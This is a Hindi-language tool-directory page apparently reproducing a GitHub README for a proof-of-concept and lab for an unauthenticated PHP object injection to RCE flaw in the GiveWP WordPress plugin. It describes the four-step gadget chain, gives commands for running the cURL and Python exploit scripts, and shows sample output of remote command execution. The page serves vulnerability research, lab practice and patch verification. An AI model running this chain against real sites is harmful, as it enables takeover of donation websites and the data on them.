Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-82222-PoC — CVE-2026-82222 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और स्थानीय DDEV लैब, जो GiveWP WordPress प्लगइन में अनऑथेंटिकेटेड PHP ऑब्जेक्ट इंजेक्शन से RCE है, साथ में cURL और Python एक्सप्लॉइट स्क्रिप्ट्स। | Kitploit
उपकरण/GitHubGitHub/sajjadsiam/cve-2026-82222-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारिमोट एक्सेस टूलपेलोड डेवलपमेंटलैब और अभ्यास
GitHubsajjadsiam/cve-2026-82222-poc

CVE-2026-82222-PoC

CVE-2026-82222 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और स्थानीय DDEV लैब, जो GiveWP WordPress प्लगइन में अनऑथेंटिकेटेड PHP ऑब्जेक्ट इंजेक्शन से RCE है, साथ में cURL और Python एक्सप्लॉइट स्क्रिप्ट्स।

रिपॉजिटरी देखें
2 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-82222 — GiveWP अनधिकृत PHP ऑब्जेक्ट इंजेक्शन → RCE

CVE-2026-82222 के लिए लैब + प्रूफ-ऑफ-कॉन्सेप्ट: GiveWP WordPress डोनेशन प्लगइन <= 4.16.7.1 में अनधिकृत PHP ऑब्जेक्ट इंजेक्शन जो रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है (4.16.7.2 में पैच किया गया)।

CVECVE-2026-82222
CVSS10.0 (Critical)
CWECWE-502 — Deserialization of Untrusted Data
प्रभावितGiveWP (Donation Plugin) <= 4.16.7.1
पैच किया गया4.16.7.2
एडवाइज़रीPatchstack

केवल अधिकृत परीक्षण। यह रिपॉज़िटरी शिक्षा, भेद्यता अनुसंधान और उन सिस्टमों के परीक्षण के लिए है जिनके आप स्वामी हैं या जिनका परीक्षण करने की आपको स्पष्ट अनुमति है। अनधिकृत उपयोग अवैध है।

उद्देश्य

यह रिपॉज़िटरी सुरक्षा पेशेवरों को CVE-2026-82222 को समझने, पहचानने और इससे बचाव करने में मदद करने के लिए मौजूद है। सभी प्रदर्शन एक स्थानीय लैब (lab/) के लिए डिज़ाइन किए गए हैं जिसे आप अपनी मशीन पर चलाते हैं। PoC डिस्क पर कुछ नहीं लिखता और कोई प्लगइन सेटिंग नहीं बदलता — कमांड आउटपुट केवल ट्रिगर अनुरोध की HTTP प्रतिक्रिया में आता है। पूर्ण दायरे और रिपोर्टिंग नीति के लिए SECURITY.md देखें।

रिपॉज़िटरी लेआउट

root@kitploit:~
├── lab/                    # DDEV + WordPress + GiveWP 4.16.5.1 vulnerable lab
│   ├── setup.sh            # one-command lab build
│   ├── set-givewp-version.sh   # swap vulnerable/patched GiveWP versions
│   ├── .ddev/config.yaml   # DDEV project config
│   └── README.md
├── poc/
│   ├── cve-2026-82222.sh   # cURL exploit script
│   ├── poc.py              # Python exploit script
│   └── requirements.txt
├── docs/
│   ├── ANALYSIS.md         # technical write-up + reachability matrix
│   ├── BURP-MANUAL.md      # Burp Repeater walkthrough (request/response)
│   └── CURL-POC.md         # copy/paste cURL walkthrough
├── SECURITY.md             # scope, reporting and safe-use policy
└── LICENSE

भेद्यता

चार अनधिकृत अनुरोध और एक ट्रिगर:

  1. Register — GiveWP का स्व-पंजीकरण हैंडलर users_can_register को अनदेखा करता है और प्रमाणित WP कुकीज़ प्रदान करता है।
  2. Plant — खाते के last_name मेटा फ़ील्ड में एक सीरियलाइज़्ड POP चेन (TCPDF → Symfony Session → DonorFactory → system) संग्रहीत करें।
  3. Poison — give_last के बिना एक डोनेशन सबमिट करें; GiveWP DB से नाम भरता है, गैजेट को allowed_classes=false के साथ अनसीरियलाइज़ करता है, और लाइव ऑब्जेक्ट ग्राफ़ को wp_give_sessions में सीरियलाइज़ करता है।
  4. Trigger — एक अनुरोध सत्र को एक अनिर्बंधित unserialize() के साथ वापस पढ़ता है; TCPDF::__destruct() call_user_func_array('system', [cmd]) तक पहुँचता है। आउटपुट HTTP प्रतिक्रिया में दिखाई देता है — डिस्क पर कुछ नहीं लिखा जाता।

पूर्ण विवरण: docs/ANALYSIS.md

त्वरित शुरुआत

1. लैब बनाएँ

root@kitploit:~
cd lab
bash setup.sh
# -> https://cve-2026-82222.ddev.site
#    form id printed at the end, gateway: manual, WP admin: admin/<random>

Docker + DDEV आवश्यक है।

2. PoC चलाएँ

root@kitploit:~
cd poc
pip install -r requirements.txt

# cURL
bash cve-2026-82222.sh https://cve-2026-82222.ddev.site id <FORM_ID>

# Python
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -g manual -a 10.00 -v

# fingerprint only (no exploitation)
python3 poc.py https://cve-2026-82222.ddev.site --check

दोनों PoC डिज़ाइन से सिंगल-टार्गेट हैं — कोई बैच या मास-स्कैन मोड नहीं है। इन्हें केवल lab/ में मौजूद लैब या उन सिस्टमों के विरुद्ध चलाएँ जिनका परीक्षण करने के लिए आप अधिकृत हैं।

अपेक्षित सफलता आउटपुट (कमांड id):

root@kitploit:~
[*] CVE-2026-82222 kill chain on https://cve-2026-82222.ddev.site (form 5)
[*] 1/5 Registering cve_1b290e (GiveWP ignores users_can_register) ...
      -> HTTP 302
[+] auth cookie obtained
[*] 2/5 Fetching profile nonce ...
[+] nonce=a0fd84c9d7 user_id=7
[*] 3/5 Building POP gadget for command: id
[*] 4/5 Storing gadget in wp_usermeta.last_name ...
      -> HTTP 302
[+] gadget planted
[*] 5/5 Poisoning wp_give_sessions (HTTP 500 is expected) ...
      -> HTTP 500
[+] session poisoned
[*] Triggering RCE ...
[+] COMMAND OUTPUT (id) from /?give_action=view_receipt :

uid=501(sajjadsiam) gid=20(dialout) groups=20(dialout)

3. पैच सत्यापित करें

root@kitploit:~
cd lab
bash set-givewp-version.sh 4.16.7.2    # patched build
cd ../poc
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -v
# -> chain dies; no output

पहुँच-योग्यता

GiveWPस्थिति
<= 4.16.5.1भेद्य — डिफ़ॉल्ट इंस्टॉल पूरी तरह पहुँच-योग्य है
4.16.6 – 4.16.7.1भेद्य — एक लेगेसी (गैर-V3) फ़ॉर्म आवश्यक; पंजीकरण के लिए give_register_nonce चाहिए
4.16.7.2पैच किया गया

अस्वीकरण

यह रिपॉज़िटरी केवल शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान की गई है। शामिल कोड एक प्रलेखित भेद्यता का प्रदर्शन करता है ताकि रक्षक डिटेक्शन बना सकें, पैच सत्यापित कर सकें और अपने स्वयं के सिस्टमों का परीक्षण कर सकें।

लेखक इस सामग्री के किसी भी दुरुपयोग या क्षति के लिए उत्तरदायी नहीं हैं। स्पष्ट अनुमति के बिना किसी भी सिस्टम के विरुद्ध इसका उपयोग न करें — ऐसा करना Computer Fraud and Abuse Act (CFAA) और दुनिया भर के समकक्ष कानूनों का उल्लंघन कर सकता है। SECURITY.md देखें।

श्रेय

  • भेद्यता अनुसंधान और एडवाइज़री: Patchstack
  • PoC चेन को सत्यापित किया गया और स्थानीय DDEV इंस्टॉल पर GiveWP 4.16.5.1 के विरुद्ध लैब किया गया।

लाइसेंस

MIT — LICENSE देखें।

टूल डाउनलोड करें